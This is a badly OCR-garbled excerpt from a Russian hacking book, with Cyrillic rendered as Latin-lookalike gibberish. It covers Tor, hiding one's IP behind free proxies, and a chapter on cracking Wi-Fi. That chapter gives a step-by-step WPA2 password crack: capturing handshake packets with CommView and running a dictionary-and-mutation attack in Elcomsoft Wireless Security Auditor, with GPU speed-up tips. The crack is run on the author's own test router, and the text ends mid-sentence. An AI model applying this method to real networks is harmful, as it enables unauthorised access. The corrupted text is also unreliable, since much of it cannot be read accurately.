BCIUIECK MHTEpeca B 3TOM HamlpaBJICHHH ceifdac, KOrja yKecTO4aloTCs 3aKOHEI, Gopro-
myecs MPOTHB PacIpOCTpaHEeH!s HEeJMIEH3HOHHOTO KoHTeHTa B iHTepHete. Tem Gonee,
YTO B HEKOTOPHIX CTPaHaX BOIOIOT He TOIBKO C TEMH, KTO THPXKUPYET [jis GecIuiaTHOro
HCOOJIB30BaHUs (PHITBMBI, My3BIKy, KHUTH... TaM OCYIIECTBISIOT npecnenosam»xe H TI0JTb-
30BaTelieil, CKAYMBAIOMMX HeJlerATbHbIH KOHTEHT.

Kpome Toro, ToT ke Tor mia o6xona orpalmqemm MOXXET MCMOJB30BATh AaKE U HE Xa-
Kep, a Kakoﬁ-lmﬁyns "MpOBHHYTHEA" MONB30BaTENb B CETH MPEANIPHATHA, IAE )KECTKO
- CITeIAT 32 JUCLHMIUTHHON M 6€30MacHOCTBIO M 3alpemaloT MCIob30BaTh MHTepHeT Wit
MOoOBIX MPOTOKOJIOB, KpoMe http (o 80-My moprty), a TpadHK aHAIH3UpyeTcs MO pALY
ycnoBuit. C 3Toif HeNbI0 B TAKUX YUpEXXICHMAX HAa IPaHMYHBIX MPOKCH-CEpBEpax Ha-
CTPauBaIOT OYEHB CIIOXKHbIE IIPABUIIA, YTOOBI XOTh KaK-TO MOMBITaThCA obecneunTs 6e30-
[IACHOCTh. 3ampemaroT mpakTHdeckd Bce. Hampumep, H0CTynn K COMMAIBHBIM CETAM
("BKonrakre", "OxgHoriaccHuku", Facebook) 3anpemeH B 63% poccHiickix KOMITaHMIA.

Jla 1 B npecce MEPHOANYECKH MOARJIAIOTCS JaHHBIE O CKaHAAIaX M KOH(IMKTaX, CBA3aH-
HEIX ¢ Tor. Beum cooOmenns o TOM, 4To Aake m3BecTHHIH Oasapa hkosed CHoyneH,
6emuii cotpyauuk 1[PY u AHB CIIIA, HelHE DUCCHIEHT, epefaBall CEKPETHYIO paso-
Onagaroyro MH(GOPMALMIO KOPPECIIOHACHTaM, HCHONB3ys HMEHHO 3TO INPOrpaMMHOE
obecrieueHye....

Taxoke coobmasioch 0 ToM, 9ro gupekrop @®Cbh Poccum hpezmomm 3aMpPETUTh HUCIIONb-
3oBaHue Tor B Hameli crpaHe. H 3Ta MHMIMaTHBa HaxoJWiIa noaaepxky B I'ocymapcr-
BEHHOH AyMe...

A BOT coBceM HeZaBHO ObUIO COOOMmMEHHE O TOM, 4To (u|TaTa): "MHHHCTEPCTBO BHYT-
pennux aen P HamepeHO HcClieoBaTh BO3MOXKHOCTH MONYYEHHSA AOCTyNA K JAaHHBIM
NoJb30BaTeleii aHOHMMHO# cetH Tor. B cBa3u ¢ atum Hayuno-mpousBoacTeeHHOE 06Be-
auHeHHe “CrielManbHas TeXHMKa ¥ cBa3b” MBJI Poccru o6BABISIM TeHAEp Ha TpOBe-
JeHMe COOTBETCTBYIOMEro uccienopanms. Ha caifte rocsakynok coo6manock, 9To CTOd-
MOCTB KOHTpaKTa cocTapiisier 3,9 MiH py6...". XKenaromue HaOUIHACH.

TMoxamyii, cymecTByeT He Tak y)K MHOT0 MOAOGHOro- MporpaMMHOro ofecnedeHus, Ha
KOTOpO€ TaK CHIBHO OIOTYMIHMCH ObI COOTBETCTBYIONMME KOMIIETEHTHBIE OpraHbl MHOTHX
ctpad. He ucimodeHo, yro Tor paHO WM ITO3HO OKaXeTcs BHE 3aKOHA, WM MOA IOJI-
HBIM "KOHTpOJieM".

3.4. Ucnonb3oBaHue NpoKcu-cepsepoB

CepBuc 114 IpoBepKH cBoero Tekymero IP-anpeca MoxxHo cBoGoaHO Haiitu B MHTepHe-
Te. IP-azipec — 3T0 HaMBakHe#IIas HHGOPMaLHs, 0 KOTOPOH MOXXHO BHIYHCIIMTE HOJIb-
3oBaTens cetd. FimeHno noaTomy JUIA COKPBITHA OypHO#H AEATEIFHOCTH XaKepy TaK Bax-

CA L

HO paﬁOTaTB, q)amqecm CIIpATaBOIMCH 32 Ybei-mbo cnuHoi". B KavecTBe Takoii crim-
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HBl ¥ MOXET BBEICTYNIaTh MPOKCH-cepBep. it TOro YroGhl HAWTH MOAXOAAIMNA POKCH-
cepBep, JOCTaTOYHO BBHINIOIHUTH B VIHTepHeTe MOMCK, MCIONB3Ys CTPOKY Momcka "Gec-
miateble mpokcu". Ilens — Haiitn IP-apec ¥ HOMep TMOpTa GECILIATHOTO IMPOKCH-
cepBepa. [IpuueM BakKHO HaWTH MMEHHO paboTaiomuii B JaHHBIH MOMEHT cepBep, T. K.
MHOTHE W3 HUX MEHSIOT CBOHM JaHHBIE B TEUeHUE HECKOIBKUX YacoOB, ¥ Pe3yIbTaThl IOUC-
Ka MOTYT JaTh BaM CCHUIKH Ha yxe "Hepaboumii" pecypc.

PasbickaB HeOOXOOMMBIE JaHHBIE O MPOKCH-CEPBEPE, MPOM3BOAUM HACTPOMKY UL HETO.
PaccmoTpuM, Kak 3TO chenaTh, HampuMmep, ¢ mpuMeHeHwmeM MS Internet Explorer
(MSIE). Jins storo B Merio CepBHc BEIOHpaeM komaHXy CaoiicTBa obo3peBaTteiis
(CeoiicTBa Gpay3zepa — B 3aBHCHMOCTH OT BepcHH), a Aanee Bkiaaky Iogxmodenns
(puc. 3.37).

e BRR YTEHO0BIGH NOAKMOUEHNR KOMBIOTEPa
© K VHTEMRETY WENKHMTE 3TY KHODKY.

HacTpodica KaryTHupYEMOro CoRas ¥ BMPTYaRE
BCTHILI CETERH

R e SR e

Li{emswre KronKy "Hacrpoiika™ st HacTpoias
APOKCH-CEDBEDa ANR ITOND ORKRICHEIAA,

B HMOrp® HE KTIONE30BITH KOMMYTUDTEMGIE NONKMOHRHISR
VCONh3I0BaTh MM OTCYTCTEIA NOSKIONEHAR K C6TH

i

Brerns wnofu08aTs NVHSTOR NG YMOIHSHN0 NORKMONSHE

Yeonanne: OTCYvCTEYRT

MapaneTih! HOKANLHON CETH HE APUMENROTCR
mmexmqanﬁ yaanenHors gocTyna. gng

Puc. 3.37

.

Haxas kHornky Hacrpoiika cers (cM. puc. 3.37), yBHAMM CleyOIIee OKHO, B KOTOPOM
B paszene Ilpokca-cepeep nis ormmu Mcmosib30BaTh NPOKCH-CEPBEP AJS JIOKATb-
HbIX NOAKIIOYeHn ... BBoquM aaHHbIe [P-anpeca u nmopra npokcu-cepsepa, HalIEHHOTO
B HHtepHere, He 3a0bIB oTMETHTHh ¢uiakok He Hcmosib30BaTh HPOKCH-cEpBep MJist
JIOKAJIBbHBIX ajpecoB (puc. 3.38).
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& = - - - st e —
HacTpoika napaneTpos noKanbHoR ceTH

[apareTpbl Npok

Puc. 3.39
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Xors B HalleM NpuMepe ceHuac BaXKHO, YTOOBI HCKOMBIH IPOKCH-CEPBEp MOAAEPKUBAT
umeHHO HTTP-mipoToko, # MBI cMoriId 651 paboTaTh aHOHMMHO, HCTIONB3Ys 6paysep mia
OOBMMHEIX MHTEPHET-CTPaHMII, BCE PAaBHO MOXHO BHIOPaTh YCTAHOBKY (HAXKaB KHOMKY
HononnuTenbHO) 1 Beex nporokonos. Hy, k npnfwepy,_ He Oyner paGorars FTP:
TPOTOKOJI — HE CTPAIIHO, B NanbHEHIeM HalieM, €C/Ii NOHaROOHTCS, 1A ITOTO APYToM
cepsep (puc. 3.39).

INocne moxTBepxkneHKs HOBBIX HacCTpoek mpoBepseM cBok [P-agpec! M ¢ yaosnersope-
HHEM BHIHUM, 9TO MBI — 3TO yke BoBce H "He MbI"! Hac Bungr B MaTepHeTe coBceM noxn
JIpYTHM aJpecoM.



rMMABA 4

Banom Wi-Fi-poyTepos:
MUbl U peanbHOCTb

4.1. Cnoco6 nepBbIn

B mpexxHue BpeMeHa OCHOBHO#M NMpPUYMHOMN, moOy»aatomeil Xakepa ODpOM3BOAMTE B3JIOM
Wi-Fi-cereii, Obila HeMajiass CTOMMOCTH yciyr mposaiinepoB HurepHera. Celuac e,
Korzaa qoctym B IHTepHeT cTall OTHOCHTENBHO AelIeB, Ka3ajaoch Obl, HET YK€ TaKoro HH-
Tepeca K BIIoMy OecnipoBofHbiX ceteid. Ho 3To BoBce He Tak!

Icuxomnorus Xakepa 3a49acTyiO TaKOBA, YTO €r0 3aBETHOH MEYTOH ABIAETCH HE CTONBKO
nojiydeHue "JapMOBIIMHBI", CKOJBKO YHOBJIETBOpEHHE COOCTBEHHBIX aMOuimii: "Ara,
a cMmor! Bot kakoli a1 ymubni!" Hemmoxum cTUMYJIOM 3JIOYMBIILIEHHUKY CIYXKHT H TO,
4YTO J71s1 OXOGHOTO B3JIOMa HE Hy)KHO AAIEKO XOIUTh, notomy uto Wi-Fi-poyTeps! B Ha-
cTosmee BpeMs NPHUMEHAIOT Ha KaKIOoM mary! '

Kpome Toro, eme ofHMM MOIIHBIM NoOYyKaatomuM ¢akTopoM ABIfeTCA U TO, Yyro HH-
TepHeT OYKBAJBHO HAMOJHEH COBETAMH M pa3IMYHBIMM MPOrpaMMaMH Ul 3THX LieieH.
ITpo6nema nUIme B TOM, 9TO B MOJABJIAIOMEM OOJBLIMHCTBE CIIydacB IIOYEMY-TO HHUYETO
He nony4aerca! HeMalio IOHBIX XaKepoB, IJIOTas# CJIOHKH, Opocaloch BO BCE TSKKHE
B 3TOM HampasjeHud. Hror: norepsHHOE BpeMs ¥ OTCYTCTBHE Kakoro-Jibo pesyjbrara.

B gem xe peno?

[MockobKy TeOpeTH3MPOBAHHE He BXOJWMT B HAIIM ILIaHBL, TO He 6ymeM ceifdac paccka-
3pIBaTh O MPHHIMIAX PaboTHI Pa3lIMYHBIX CETEBBIX MPOTOKOJIOB, OCOOEHHOCTAX mH(po-
BaHHUA Y NPOYMX HayYHBIX BemaX W3 06acTH TeOpHH OeCTIPOBONHEIX CETElH.

IosicaumM Bee nipocTto. ITpobiieMa, oka3sIBacTCs, 3aKIIOYAETCS B IBYX HAlPaBICHUSX.

KopHu nepBoif NpYYMHEI JIEXaT B CaMHX TIpe/UTaraéMBIX METOMKax Bajoma. MHCTpyK-
LMK 3TH, KaK MPaBWIO, Pa3sMHOXEHBI B Pa3HBIX BapHalMiX M3 OJHOTO, YK€ JaBHO Mo3a-
6BITOro HCTOUHMKA. A Befb M3HAYATBHO 5TO GBUIO HAIKMCAHO IV KaKOro-HUOYIb KOH-
KpeTHoro ciy4as. M nockoibKy THpakMpOBaHHE ITPOHU3BOAMWIOCH HE CTICLMATHCTAMH, TO
JIOIyIIEHO MHOTO HETOYHOCTEH, HEJOTOBOPEHHOCTEH, Aa YTO TaM I'OBOPHTH — IPOCTO
rpy6eiimix omu6ok. Jla mamHo, ecnu Aeno 6sut0 OB TONBEKO B 3ToM! J{lyMaetcs, uro Hac
YMBIIUIEHHO BBOAMT B 3a0my)kieHHe SKOOBI YHHMBEpPCAIBHOCTh YKa3aHHBIX METOHOB.
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ITprgem, npuaMHa 1pocTo GaHaNbHA: NMpUBJIEYEHHE OOJNBIIETO YHC/A TOJIB30BaTeNeH
K HHTEpHET-pecypcy, rie pasMelneHa Metoauka. U He 6onee Toro! .
.- ) .

HampymMep, oIHO# M3 OCHOBHBIX METOJMK, TpeylaraeMeix B MHTepHeTe [UIa B3OMa, SB-
asierca komMbuHanus kakoro-Hubyne cauddepa Wi-Fi (kak mpasuno, WinPcap wiu npo-
rpamMmsl CommView for Wi-Fi), npeaHazHadeHHOro [yis 3aXBaTa MakeToB, H POrPaMMBI
Aircrack, Hcronb3yeMoii HETIOCPEACTBEHHO IA moabopa kodeid. HUKTO mpH 3ToM He
MOSACHSAET, YTO NporpammMa Aircrack Xopoina B OCHOBHOM [UIS "BOCCTaHOBJIEHMS' KIIOUEi
nporokoiia WEP. Ho! ITocMorpute e BOKpyr: yxe JaBHO HHKTO He npuMenser WEP!
A BOT I B3JI0OMa IPOTOKONA 3aIUTH AaHHEIX WPA (3meck u manee Ui ynpolneHHs
W3JIOKEHUsT Taloke IoJpa3yMeBaeTcs, B ToM dmciie, © WPA2) sTa mporpamma MeHee
npakTH4Ha. Jlesno B TOM, 9TO B ciiyuyae nmpuMeHeHHs npotokona WPA nonobpate napons
MOJKHO - TOJIBKO ¢ TIOMoIbIo cioBaps. Ilmoxo To, 4To npakTHYeckH HEBO3MOXKHO COCTa-
BUThH TaKOH CJI0Baph, YTOOBI 3aJI0)KHTh B HETO 3aBETHBIE HCKOMbIE TOUHBIE 3HAYEHUS Ma-
pouieii, IpuMeHseMBbIe TIpH BhIpaboTke KMoYel yka3zaHHOro mporokona. Kakum xe mon-
J€H OBITh CJIOBaph, €CITH HbIHEIIHHE ITPOABUHYTHIE TIOAPOCTKH, HACTPAUBAIOIIHE pOyTe-
PBI ¥ IPUAYMBIBAIOIIHE M1apPOJTH, H30ATIOBaHHbIE HHTEPHETOBCKAMH H "3C-3M-3COBCKAMM"
TpaaULMAMH, Jaxke B clioBe "emie" nesnalor yersipe omubku ("ucuo")? Ilpu sTroM crocod
HCNOJTB30BaHHsA CJIOBaps B porpaMme Aircrack He mpejmnonaraer Takoro 3amMmedaresIbHo-
ro mpHeMa, kak Mytauus cioB. Ho 06 3ToM HEMHOTO T03Ke.

Kpome Toro, He3ajawIMBbId XaKep, HE MOHMMAd Pa3HHUIBI B MPOTOKOJIAX W COOTBETCT-
BEHHO B crioco0ax B3noMa, 3axBaThB HakeTbl WPA-PSK, Hepenko merraerca "nomars"
HX, HCTIONIB3Y4 Ty k€ MeTomaMKy, 9To 1 Ijis WEP. KoHedHo e, 3To He IacT pe3yJibTarTa.

Bropas mpuuMHa HeyJad HaYMHAIOIMMX XAaKEPOB 3aKIIOYaeTCs B TOM, YTO CaMH Ipo-
rpaMMBl, CKauMBaeMbleé W3 pPa3IMYHBIX HCTOYHWKOB MHTepHeTa, 4acTo OKa3bIBAIOTCH
¢banbIIHBKaMH: KaK-TO YTO-TO paboTaeT, YTO-TO TaM J€JIaeT, a pe3yJibTaTa Mo-TpexKHEMy
HET.

Hepeaxo B MHTEpHETE pa3sMemaloT NMPUMaHKy, YT00b HHUIMPOBATh Balll KOMITBLIOTED
BupycoM. Omnacaifteck rpoMkmx 3aronopkoB Tumna "Bsnom Wi-Fi 3a nare munyT". Mol
BUJICNIA TaKue CTpaHMIBI, HanpuMep Ha YouTube, BB He moBepHTe, ¢ COTHAMH TBHICAY
[OCEIEHMI N0 CYETUHKY.

Y1068t MOHATH, UTO B3IOM WPA-PSK BCe ke BO3MOXEH, OCYIIECTBUM €r0, KaK 3aKOHO-
TIOCTYIIIHbIE TpakaaHe, cobpaB HEOOJIBIIOH CTEH T,

Hacrpoum Wi-Fi-poyrep, npucBous 3nauenne TEST napamerpy SSID. BmounMm Ha
poyTepe mm¢poBaHHE, HCHONb3ys MpoTokosl WPA2, npy 3TOM NPHCBOMB IPOCTOE 3Ha-
YeHHE NapoJIs, y)ke H3MOoOJIeHHYI0 HAaMH KOMOMHAIMIO abc12345 (puc. 4.1).

IIprcoeapnumces k Hamreii cetn TEST ¢ mo6oro xommeiotepa (puc. 4.2 u 4.3).

Co31aauM HenpepsiBHbI TpagWK B CETH, 3aIlyCTHB, HATIPUMEP, IPOCMOTP KHHO(IWIHMA
HenocpeAcTBeHHO U3 MHTepHeTa. Hy)kHO moHMMaTh: Het Tpaduka — HET 3aXBaYeHHBIX
MaKeToB, HeT "B3noMa". Uem Gonbine makeToB, TeM GOJibIe BEPOSTHOCTH "B3jIOMA". 310
obmue npaBuia.

Jiis cbopa nakeToB, HEOOXOMUMBIX I OCYINECTBICHHS "B3/ioMa", OyIeM HCIOIL30BaTh
nporpammy CommView for Wi-Fi (nanee — CommView).
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Puc. 4.1

' Besline
MTS-Internet
MegsFon Internet

Beeaure wnou 6e30nNacHOCTY CeTH 1l Konus ”hgﬁnE”

becnposogrpe ceTesoe coegrHerne

Puc. 4.2

U

IIpu ycraHoBKe mporpamMma MPOH3BOIWT MOAMEHY Hmebmerocﬂ npaiieepa w1 Wi-Fi
ajanTepa Ha cBoi (puc. 4.4 1 4.5). ‘
\

TIpousBeneM CKaHUPOBaHHE M YOEIHMCA, UTO HAIIA CETh TMOSBWIACH B CIHCKE HAlIeH-
'HBIX, 371ech 910 ceTh ¢ SSID TEST (puc. 4.6).
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| BYKOBOACTBO 110 YCTAHOBKE APAMBERH

e Commiiew for WiFi - 570 Py ans P SecpoBoasu ceveii 802.11. AinA paboTut ¢ Ap # Bam weob OBKECTRMERE P
! p. A ik P eaiero Gecnp aganrepa gam notpeb sanLHui spatieep pu W & AN 1pOAY
| Koraa Col for Wifi ue B3l BAAITEP CMOXET A C A7 Gep . BAH. mcryna,mnubmuo,mr,qa
i C WView for Wil 3amywien, san p Oyaer paGoTat & RACCHBHOM P p oe3 Ti CETEBOIG €
CheMyIOULMe COBMECTRMERS p 8 Bamen D
- Atheros ARSB95 Wireless Network Adapter
ASBTTED, KOTOPbIE MOTYT G5t COBMECTUMS!, HO SUIR HE TECTHE ®, Hal 8 Bauen p
- Orcyrcrayior 4
aumemnnpuamsnumme'name
#ﬂxo:uyyaammmnpauaepmmocomemmomwepa
F XOuy NPOTECTMPOBATL MO 3AAMRTep, KOTOPLIX SHIE HE TECTHPOBAACA, HO NOXET Gtilh COBMECTIM.
2 ¥ meun ecre i 2GATTED, HO N 2Ue HE ¥ 250 B KOMRLIOTED, 5 XOUY Y3HATS, UTO MHE AeAaTL NOCAE TOFC, KaK A YCTAHOBMO 10 B KOMILIOTEp.
P Hauy
CommView for Wifi asomer Sumy Y 1 AJATTEPaMI. ECM BIUI0 ap3NTEDa HET B LIMCKE, ITHIKHUTE 3[ECh, YTOGH NOAYUATE CAMYIC CBEXYIO
ey 10 370 BOTPOCY
Puc. 4.4

b % BVD » CD-ROM ancxosoge
b -2 IDE ATA/ATAPL corrponnepst

! i% 4 Barapen

B ﬁ Bugeoaganrtepu:

o-§ Bupryameauys USE

b g fwcxosoie yorpolicrsa

& ﬁ 3syKoBuie, BIAEC W NTPOBLIE YCTPOCTEZ

> 2B Krasmarypes '

{'> -8 Kowmnmiotep

b ﬁ quponnepm USB

b 28 Monwropst

b B Mo u unme ykasviszIoUpE ycTpoiicrea

b ﬁ ﬂpmeccow

< e

N b -8 Cucremusie ycrpoiicrsa
19 g Ycrpomsa HID {Human Interface Deﬂces)
Ry aboTkn

Puc. 4.5
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Puc. 4.6

PexxnM ckaHupoBanms ObUI BHIOpaH TaKoM, IPU KOTOPOM CKaHMpPYIOTCS BCE KaHAJIbl
(puc. 4.7), HO TIOHATHO, YTO €CJIA BBl YBEPEHHO 3HaeTe HOMEp KaHaja, Ui yCKOPEHHMs
MpoLiecca MOJKHO YCTaHOBHTH TOJIBKO Hy)KHBIM BaM KaHaJl.

11-8@40) AP Keenetic-7800
5(5-9@40) AP WIKC

Koudurypuposars,.,
EH 24 GHz

Puc. 4.7
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2 ZyxelCom:96:62F6
;«3 Tp-LinkT:7F:13:88
& Tp-LinkT:SRD27A

Puc. 4.8

Mpasuna [id paGoOTH! yCTAaHOBHAM TaKue, YToObl 3aXBaTHIBATh Bce MakeThl (puc. 4.8).

Ipu >xeaHuK MOXKHO OBUTO GBI MCIIONB30BATH MPABIIIA, MO3BOJLIONHE OTQIIETPOBATEH
MMEHHO. TOJIbKO HCXOffmue (Smac) ¢ Hamero poyTepa NakeTs M BXONSIIME HA HEro
‘(dmac). g sThx nenei, MpUMEHS BO3MOXKHOCTH IIPOrpaMME], IEPBOHAYAIBHO CKOIH-
pyem MAC-azpec TectoBoro poytepa (puc. 4.9).

5 5-9040)
au-sew) AP
4743840} AP

Puc. 4.9

Hanee, ucrionb3yst IPUHATHINA B POrpaMMe CHHTaKCHC, MOXKHO BBECTH CIIEIyIOllee mpa-
Bwio — "smac=98:FC:11:F4:10:BD or dmac=98:FC:11:F4:10:BD" (mockonexy Msi
npeaBapuTeabHO ckormupoBai MAC-aapec B Oydep, To BBECTH €0 B YKa3aHHYIO CTPOKY
He IpefoCTaBWIO Tpyda), puc. 4.10. K cnoBy, B Hammx npuMepax B uHpopManuHu 1o
MAC-agpecy BMecTO mepBOi Ipymiiel M3 Tpex HU(p yka3biBaeTcs BEHAOP, TO Ipen-
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CTaBJIEHUE JIETKO MEHseTCs B HAaCTPOMKAaX MporpamMmel. MoXHO yka3aTh, YTOGE BMECTO
KOMOHHHMPOBAHHOTO BUJI2, COCTOALIETO M3 Ha3BaHHs IPOM3BO/MTEIS U BTOPOH IOJIOBHHEI
ajipeca, yKa3bIBAIUCH IEJTAKOM TOJBKO umbpm

Yringepc. npasuna
-
i @ Npocruie npasna
i FipoToxonst

MAC-agpeca

) L 1P-agpeca

‘— Floptat

!— Texcr

- TCP-dnaru

Bimousrs yHMBEPCANTbHEIE RPaBAN- -~~~

g Trm

W S i Qopwyna: : s
. TE?F 3axm (sxmou.) smac_Q&FC 11 Flt 10<BD ar dmac-%.FC.H.Ftl.I&:BD

Puc. 4.10 -

Bce xe, B 3kcriepuMeHTe He OyneM BKIIOYATh YHHBEpPCAIbHBIC NPaBWIa, OrPaHHYMBalO-
mue 3axsaT. [IycTs K HaM monamaioT Bee makeTsl. [loatoMy cOpackiBaeM ¢uaxkok Bruro-
9HTH YHHBepcaIbHbIe NpaBHJa. [ 3aHOBO BKIFOYMM 3aXBaT IIaKETOB, IPEBAPHTEIILHO
YIOCTOBEPHBIINCE, YTO YCTAHORJIEHO MX aBTOCOXpaHeHue (puc. 4.11).

] ABTOCOXpaHEsMe -

Coxpanenue is ynpasnesye -

@ Bce naxerws e Sydepe Maxkcumannisiit passep katanora, MBair

Cpearwit pasmep log-gaiina, MBaitr:
Coxpanate log-daitnn s

(CAUsers\\Documents\Commiew for WFLOGS

| Kondmrypamni: |

Puc. 4.11

3axBaTHB JOCTaTOYHOE KOJMYECTBO IIaKeTOB, HAXXATHEM KOMOWHAIMH KJIABHII
<Ctrl>+<L> Bp3oBeM mnommporpamMy Juis paGotel ¢ mporokomaMu CommView
(LogViewer). IlpousBemeM moArpy3Ky BceX (aiioB MPOTOKONIOB, 3aXBauyeHHBIX
CommView B 3Ty noanporpammy (puc. 4.12-4.14).
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Puc. 4.13
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. - D-tinkIr:... Broadcast

Tp-LinkT.... Broadeast
1250 WNGLL. D-Linkime.. Broadcast NA NA
1251 MNGT.. Tp-linkT.. Broadeast /A NfA
1252 BHGY.. C(isco-tb.. Broadcast NA A
1253 BANGT.. (isco-lé.. Broadeast A R/A - L2
1254 mRGTA.,  Cisco-bb.. Broadcast 2773 A
1255 {IRLA.. WA {isco-LE... HN/A NAA
1256 CIRL/A /A Cisco-Lk.. A N/A MA
1257 ORUA. WA Cisco-LE... /A HfA
1258 CTRIA.. WA Cisco-Li.. i 179 N/A N/A
1259 MMGT.. Cisto-lk.. Broadeast . L2INA BEAA BAA
L4 1260 BANGTA. Csco-th. Shenzhe. NA NA
1261 CIRLA.. WA - Cisco-ti... 17} NAR
1262 CTRL/A.. N/A Cisco-Li.. NA NA
1263 DATAL. F85:C7.. (Cisco-th.. A A

Puc. 4.14

IMocne 3arpy3ku HPOTOKOJIOB YKaXeM, YTOOBI K COAEPKUMOMY NPHMEHHIHCH TEKyIiue
npasuna. Jiia storo B memio IlpaBmia BbiGepem komaHmy IIpaMeHHTH TeKymHe
(puc. 4.15). '

$510="%7, 9

Puc. 4.15

Beirpy3uM moiyueHHBIH pe3ynbTaT B. (opMare, NOHATHOM OGONBINHHCTBY IIPOrpaMM,
NPUMEHAEMBIX IS B3oMa OecrpOBOAHBIX ceTeil. JUId 3TOro ¢ moMoImblo IOC/IEA0Ba-
tenbHocTH KoMaHn Paiiin| Dxcmopr log-paiiios BoiGepem ommio Popmar
Comm View... (puc. 4.16) u npucBouM HToropoMy ¢aiiry moboe ums (B HalleM CiIydae
310 6yner ¢aiin TEST.ncf). C nonydeHHBIM B pe3y/bTaTe 3TOM onepaiyy GpaiioM Mbl 1
GyzmeM paboTaTs nasblime.
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Puc. 4.16

Jns o6paboTkm 3aXBaveHHBIX T1AKETOB (8 dopmarte tcpdump) 1 npoBezieHHs COOGCTBEHHO
camoro B3oMa GyaeM ucnons3oBathk nporpammy Elcomsoft Wireless Security Auditor i3
komiutekta ElcomSoft Password Recovery Bundle Forensic Edition.

Tloarpysum B Hee ¢aiii, nony4eHHbIH paHee, BEIGpaB B MeHIO ®aiia kKoMaHAy Hmnop-
THpPOBATb Jior-gaiis CommView (puc. 4.17). '

i

Wnnopraposate dains TCPDUMP
VinropTnpoBTaTs nor-dadin PSPR
AoGanurn WPAPSK 1ot BpySHYIo

Bann WPAPSK 1oweil Windows

CHudep Secnposoaroit cem

Puc. 4.17
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Puc. 4.18

l'fpn 3arpyske (aiia, ecliM Bce NPOILIO yNayHO, MBI YBHIMM, 9TO MPOrpamMMa rOTOBa
IPUCTYIHUTH K pacmrdporke mmerHo Hameii cetn ¢ SSID = TEST (puc. 4.18).

B mranorosom okHe, nosistomemcs nocie BeiGopa komann Hacrpoiika | Hacrpoiikn
Atak| ATtaka mo cioBapio | Myrama\ mapoJieii, OCTaBlIieM BCE IO YMOTYaHHIO
(puc. 4.19). '

Ecii 651 MBI HCIIONB30BATH 1apOITh "NapaHOMJATEHOM CIOKHOCTH", TO B ymep6 ckopo-
CTH B3JIOMa HpPHILIOCH OBl YCTAHOBHTH PETYJISTOPHI HACTPOEK B GOJibIlee 3HAYEHHME,
CIOBHHYB HX NpaBee.

Mcnons3ys B3JIOM IO CIOBApIO, ceifyac, B HalleM KOHKPETHOM CIIydYae, B MEHIO TOKIIO-
YEeHMS cJIoBaped MblI OKa He Oy/ieM 100aBIATh ele U CI0Baph PYCCKHX CIIOB (KOTODBIH,
XOTA U cllabeHbKHi, TakKe Npwiaraetcs K nporpamme). IIpocTo moToMy, YTO 3TOT B3JIOM
TECTOBBIH, M HaM JONOJIMHHO H3BECTHO: B MCKOMOM 3HAYEHWM Tapois HET PYCCKHMX
cuMBonioB. Takum 06paszoM, MBI COKOHOMHM BpeMsi, TeM He MeHee, y6equBIIuCE B pabo-
TOCTIOCOGHOCTH NMPOTPaMMBEI # 3((EKTHBHOCTH METOIOIOTHH.

Hakonern ocymecTBiIseM JONT0XKIaHHYIO aTaKy (puc. 4.20).
Banom npousomen ycnemso (puc./4.21).

HHTepecHO, YTO 3aBETHBII Mapoib HAXOAWTCS JOCTaTOYHO OBICTpO, 3a 11 cexyHa. Ilpu-
4eM oOHapykeH OH Ha MyTaluH ciioBa 1234, comepxamerocs B KOHIIe 3HaYeHHs HAIIETo
naposis (oOpaTHTe BHMMaHHe Ha noJie nporpaMmel Ilocaenanii napoJin).

IlompoGyem y6patk u3 cioBaps HaGop cioB ¢ mudpamu 1234 1 cHOBa 3aIlyCTHM TIPO-
rpamMy.



90

- aea 4

00:33:44 Jdly 31, 2015 "1 handshalke(s} have beer koaded
00:33:44 hfy 31, 2015 New handshzke item selected: ssid=TEST

00:32:05 Jdy 31,

Puc. 4.19

. Ataka no macxe
- KomGunupoBanHas Ataa

. Fn6pnanan araxa

Puc. 4.20
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00:18:08 July 31, 2015 english.dic has been opened successfilly
00:18:08 3uly 31, 2015 About to start new recovery: 4 CPU cores, O hfw accelerators
00:18:08 Ry 31, 2015 Starting performance monifor
- 00:18:13 July 31, 2015 Performance monitor started successfif
00:18:13 July 31, 2015 Recovery: started .
00:18: 18 Xy 31, 2015 Recovery: the password has been found 3}
00:18:20 July 31, 2015 Recovery: stopped

Puc. 4.21
~

Banom npomsoifzier eme GwicTpee, 3a 10 cekynm, cpa6oraB Ha MyTamuu mapons 1225
(puc.-4.22).

Puc. 4.22

Ecin yGpate U3 cioBaps Bce moxoxue IUGPOBHIE Mapoiik, TO MPOrpamMMa BCce PaBHO
6BICTPO BCKPOET MapoJib Ha MyTAL[MH CJIOBa, COCTOSINETO U3 OYKB (abc).

Jlenaem BHIBOZ: NPH NOJKTIOYEHMA OJHOBPEMEHHO JBYX CIIOBapei, M PyCCKOTO, M aHTI-
JIMIHCKOTO, YCTaHOBHB JOCTaTOYHO 3HAYMTEJIbHbIE 3HAUEHWA IJIA MyTaimii (TmpaBna,
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. ,
B ymep6 NMpOM3BOMMTENBHOCTH), MOXKHO C OOJNBIION CTENIeHBIO BEPOSTHOCTH OCYIIECT-
BHTb B3JIOM He O4YeHb CJIOKHOro napois st WPA.

OcraeTcs TONBKO YIIOMSHYTh O TOM, KaK MOJKHO TOBBICHTBH CKOPOCTh B3joma! Crenats
3TO MPOCTO, 3aJ€ACTBOBAB MOIIHOCTH BHIEOKAPTHL: KOMOMHaIMs Kiasum <Ctrl>+<G>!
Ho, 3T0 TOJNBEKO TPH YCJIOBHH, 9TO BaM I10BE3€T M Ballla BUACOKAPTa MOIepKUBAET TEX-
Hosormo CUDA wnu texsonormio ATI Stream. BoIbIIMHCTBO HOBEIX BUAEOKAPT HMEET
3TH PEXHUMBL. JKCIIEPUMEHT MOKA3BIBAET, YTO LI BHASOKApTHI, uMetomeii 1 ['Gaifr ma-
MAaTH, 336 mpoueccopoB, TakToByr0 4acToTy 1620 MI'm, ckopocTth moabopa HpH IMOJ-
KJIFOYeHHH OQHOU BHICOKAPTH OPUEHTHPOBOYHO yBenuuutcs 6onee yeM B 10 pas. Cpen-
HiA CKOPOCTh BO3pOC/Aa MOYTH A0 22 ThHIC. HMapojied, BMECTO 2 ThHIC., Kak ObLIO paHee
(puc. 4.23 u 4.24). '

HMenoabsopanme GPU

Puc. 4.23

ity Auditor

Puc. 4.24

Yro MpoM30MET IIPH UCTIONB30BAHMM OJHOBPEMEHHO 4-X BO3MOXKHBIX BHIEOKAPT — HE
' 3HaeM, XOTA Aymaetcs, Oyaer 3m6poBo!

'

Wrak, B3noM WPA Bce ke BosmoxkeH! Ho, ¢ kakumu ycimaamu? JIocTaTO4HO CKa3aTh,
